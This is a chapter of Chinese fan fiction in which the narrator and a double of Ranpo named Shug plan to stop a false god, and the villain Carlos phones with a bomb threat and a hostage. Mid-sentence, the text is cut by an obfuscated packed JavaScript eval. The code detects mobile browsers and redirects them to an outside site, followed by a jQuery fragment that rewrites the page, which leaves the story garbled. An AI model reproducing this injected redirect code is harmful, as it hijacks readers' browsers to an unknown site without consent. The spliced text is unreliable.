平价家庭餐厅的卡座上，我不太习惯地吃了一口面前的芝士焗虾意大利面。
其实，本来我也想继续吃饭团的，说是习惯也好，受虐狂也罢，不那么做的话，总觉得好像做了什么亏心事，心里有负担。
但是点单的时候，冒牌货听了我的想法之后，一脸嫌恶地说，不要在他吃饭的时候做这种倒胃口的事情，然后从我手上劈手夺过菜单，擅自给我点了意面。
说实话，太久没有正常吃饭了，我有点不知所措。
但是，好像是喜欢的。
想到这里，我抬头看向对面的冒牌货，他正一脸认真地和桌上的蛋包饭搏斗，是真的搏斗，总觉得他好像不太会用餐具的样子，番茄酱在盘子上，嘴上抹得到处都是，像一场惨烈的分尸案。
他头也不抬地反驳我没说出口的想法，“都说了好几遍了吧？我不叫冒牌货。”
然后，好不容易将一口裹着蛋皮的炒饭送进口中，他终于抬起脑袋，和我对上视线，用命令式的语气下了最后通牒，“好好叫我的名字。”
我不太情愿。
“干嘛拘泥于这种小事？”我问。
“才不是小事吧？”他说，用沾着米粒的勺子指着我的方向，“你这家伙，完全没有仪式的意识呢。”
“仪式？”
“是啊，认真地吃一日三餐，用正确的名字称呼他人，第一次见面的时候好好做自我介绍，这些都是仪式的一部分。”他煞有介事，言辞中，依稀可见那个人的影子。
“你小子，把一切都混在一起了，虽然觉醒了自我意识，说到底还是把自己当成pc在行动。”
他睁开眼睛，混沌的浓绿色眼眸，让我明白，他并不是基于善意在给出建议，而是由衷地期待着我的坠落。
“给你个忠告吧，一直这样蹩脚地遮遮掩掩，连自己都无法肯定自己的话，是没有办法打动任何人的心的。”
“这是，过来人的意见吗？”我下意识地用带有攻击性的话语来回应。
“是来自怪物前辈的忠告哦。”说着，他催促道，“来，叫前辈的名字听听。”
我静默了片刻，无可奈何地妥协了，“知道了，修格前辈。”
他满意地低下头，继续埋首于蛋包饭中。
我知道，他说的是对的，用正确的名字称呼，就是有这样的力量，在喊他的名字之前，我可以把他当成单纯的冒牌货，当成乱步君的等比换装手办，但是在喊出名字的那一刻开始，他就是一个独立的个体了，不再是任何人的代餐。
我不再说什么，用叉子卷了卷盘中的意大利面，送入口中。
总觉得，今天的家庭餐厅，好像格外喧闹。
不，应该说，一路走过来，街上的每个人的情绪都格外亢奋。
大家窃窃私语，偶尔发出笑声，所谈论的，多半都是光幕的事情。
不必费心解释自身的含义，仅仅是存在在那里，就能让人们随心所欲地按照自己的心意去进行解读。
所谓的神迹，大抵如此吧。
“我吃饱了。”将盘子刮得干干净净，满嘴番茄酱的修格，放下了手中的勺子。
就像他说的那样，在这方面，他意外的守规矩，开始吃饭的时候，也乖乖地说了“我开动了”。
总觉得，一言一行，都能强烈地看到那个人在他身上留下的影响。
“他自己不是挺随意的吗？对你倒是有在好好教育啊？”越是这样，我就越想说些挖苦的话。
完全没有被攻击到，反而露出笑容的修格，用食指点着自己的脸颊，“你不知道吗？坏孩子总是更能受到关注呀。”
有点恶心。
我一言不发地吃完了盘子里剩下的意大利面，站起身。
“走吧，”我说，“去解决那个伪神。”
昨晚，我和修格做了交易。
我帮他取得能够控制他言行的古老者水晶，作为交换，他则把卡洛斯的存档书交给我。
而这两件事都有一个大前提。
杀了天照院仁。
那个宣称，要代替玩家做选择的男人，如果说我之前对他还有一点好奇心的话，那么在听了他那狂妄的宣言之后，这份心情早就消失得一干二净。
他只是个被逼到无路可走，要不辨是非地将所有人拖入地狱的疯子而已。
这种人，怎么能和一直以来，为了所有人的幸福而努力的玩家相提并论呢？
所以，才会上演这种闹剧。
我抬起头，看着只要位于横滨市内，无论在哪里都清晰可见的，强烈主张自己存在的通天光幕。
对于生活在这个世界的NPC来说，无论是科学还是神秘，光幕的存在，或许有很大的解读空间吧。
但是，对于我，对于我们这些棋盘上忙忙碌碌行动的棋子而言，那只意味着一件事。
那是空气墙。
被圈定了范围的虚假箱庭，永无止境地上演着荒谬悲剧的罪恶之都。
这个世界的本质，只有光幕圈定出来的，437.78平方公里而已。
我思考着天照院仁特意点亮空气墙的动机。
大概，是对这个毁灭了他的世界的复仇，也是对我们的宣战。
他恐怕是想，把所有的存档都删除掉。
乍一听也许是没什么道理的决定，然而仔细一想，他所经历的所有悲剧，不都是这虚假箱庭里轻飘飘的故事背景吗？
既然无论如何也无法改变故事的走向，那么，就只有让故事从一开始就不存在了。
这样的话，被剥夺了不合理性的世界，一定就能像其他所有世界一样，只是在恰当的范围内，偶尔不幸地，顺畅地演绎下去吧。
但是，他从根本上就错了。
这座城市并非是寄生在世界身上的肿瘤。
而是这肿瘤就是世界本身。
也许是因为我经历的悲剧还不够多吧，我仍然相信真正幸福的结局的存在，也毫无犹疑地打算以此为目标前进。
然而，这件事实行起来，或许比我想象的，要困难得多。
正打算和修格一起前往指路教会时，手机响了起来。
拿起来看了一眼，来电显示是镰泷。
啊，昨天回档之后，因为已经知道了情报，就没有再联系过他，或许是担心才打电话过来吧？
这么想着，我毫无防备地接起了电话。
“莫西莫西。”从听筒那边传来的，是充满了愉悦，兴奋到异常的，那个人的声音。
仿佛要肯定我的想法一般，那个人，用蜂蜜般甜腻而柔和的语调，充满恶意地说，“是·我·哦。”
“卡洛斯。”我深吸一口气，平复了过于激荡的情感，喊出了他的名字。
“Bingo！”他哈哈笑着，声音忽远忽近，“真是气派的大楼啊，很能干嘛，弟弟君。”
“谁是你弟弟。”我下意识地反驳。
“真伤人。”他真假难辨地说，“好了，问答大赛，第二问，我现在和谁在一起呢？”
我第一反应是乱步君，然而，冷静下来仔细想想，来电显示已经说明了一切。
“……镰泷？”
电话那边默不作声，只能听见粗重的呼吸声，我大致能想象对面是怎样的场景，镰泷虽然是个果敢又能干的家伙，但在和我有关的事情上，总是束手束脚，保护过度。
此时，他大概也是害怕我踏入陷阱吧，所以即使面对着近乎被胁迫的危险状况，为了我的安全，也依旧选择一声不吭。
“又答对了，秘书先生，你也说两句吧？”卡洛斯的声音有些遥远地从电话里传出来，然而，除此之外，并没有其他人的声音。
“你想怎样？”我尽量简洁明了地和他沟通，说实话，我并不希望在这种模组通关在即的状况下横生枝节。
但是……
“很简单哦，只是让你做选择而已。”卡洛斯爽朗地笑着，声音毫无阴霾，“现在，乱步君应该已经在去见天照院仁的路上了吧。”
这话让我心头一紧，几乎是毫不犹豫地怒吼出声，“你这混蛋！怎么能放任他一个人去见那种家伙。你是想再杀
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15508560|170053||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他一次吗？”
面对我的指责，他只是轻飘飘地说，“既然如此的话，你去救他不就行了吗？拯救公主的骑士，多么王道的剧情。你很喜欢这样吧？”
他的说法意有所指。
“但是，”他的声音骤然压低，“我在这座气派的公司大楼安装几个小玩意儿。”
“引爆时间是，一个小时之后。”
“你要是不来的话，到时候被五花大绑在社长办公室里的秘书先生，还有其他勤勤恳恳的员工们会怎么样，可就不好说了啊。”
一瞬间，我如坠冰窖。
“啊，顺带一提，可别想着用GSS那群废物作弊哦，你知道的吧，那种程度的家伙，根本不是我的对手。”
他的语气轻快。
“来吧，做选择吧，弟弟君，我在这里等着你哦，可千万别让我失望啊。”
电话“嘟”的一声，毫无留恋地挂断了。
我，或许从一开始就错了。
把棋盘当成毫无新意的模组，妄想着凭借着已知的情报，无伤通关。
真是高高在上啊。
而现在的状况，就像当面狠狠地抽了我两巴掌一样，逼我认清了现实。
原来玩游戏，是这么可怕的事情。
“我们现在怎么办？”站在我旁边，凭借修格斯优秀的身体数值，将对话全部纳入耳中的修格，意外地毫无波动，只是一个劲地催促着我。
我将视线放在他身上，提出了心中的疑问，“我们？”
“你不是很在乎那家伙吗？他现在要和我PVP，你不帮他吗？”
我的语速越来越快，刚才在通话中积压的情绪，肆无忌惮地发泄了出来。
“啊，我知道了，反正你们也是一开始就串通好了的吧？用通往结局之类的鬼话来骗我，分开我和乱步君，顺理成章地推进计划，现在一切都按照你们的想法运作了，你们很得意……”
我的话，没能说完。
因为修格突然狠狠地抓住了我的领子，将我抵在了墙上。
远超人类的臂力，让我的双脚悬空，呼吸也变得困难，在窒息的恐惧中，他凑过来，那张和乱步君一模一样的脸上，是我从来没有料想过的，恶鬼般的神色。
“别撒娇了。”毫无慈悲和安慰的语调，除了指责之外，没有其他情绪，“你以为我是在和你玩过家家吗？说着要通向HE，你的觉悟就只有程度吗？”
“我啊，在选择和你成为同盟的瞬间开始，就已经有背叛卡洛斯的觉悟了，不，是已经背叛了。”
“但是，你却在这里和我说这些乱七八糟的话，是什么意思？一定要逼我后悔吗？还是说只有做受害者才让你最来劲？”
“给我好好负起责任啊。”
好痛苦。
呼吸不上来。
会死……
在失去意识的前一秒，他松开了手。
我像一团破布一样，顺着墙面滑下来，跪在地上，单手撑地，捂着喉咙，抑制不住地剧烈咳嗽着。
他用看垃圾的眼神看我，“啊啊，果然不行啊。”
他“啧”了一声，不再看我，“选错盟友了。”
“等……等一下。”在他离开的前一秒，我用饱受摧残的喉咙，勉强地挤出这句话。
“什么？”他没有回头，但还是为我停下了脚步。
“我明白了。”我用嘶哑的嗓音说，“我会做选择的。”
“你先一个人去找天照院仁，我解决完卡洛斯的事情之后，就会赶过去支援。”
他终于转身，颇感意外地挑了挑眉，“乱步君的事情呢？”
是啊，或许正如修格所说的那样，在我做出这个选择的一瞬间，就已经等同于背叛了乱步君吧。
“那是，我要承担的后果，”我说，“和你没有关系吧？”
“哎——”他拉长了声音，像是觉得很有趣，“这才对嘛。”
“因为，要向通往HE，不把自己最重要的东西赌上去，是没办法的呀。”我苦笑着，说出了我们都心知肚明的事实。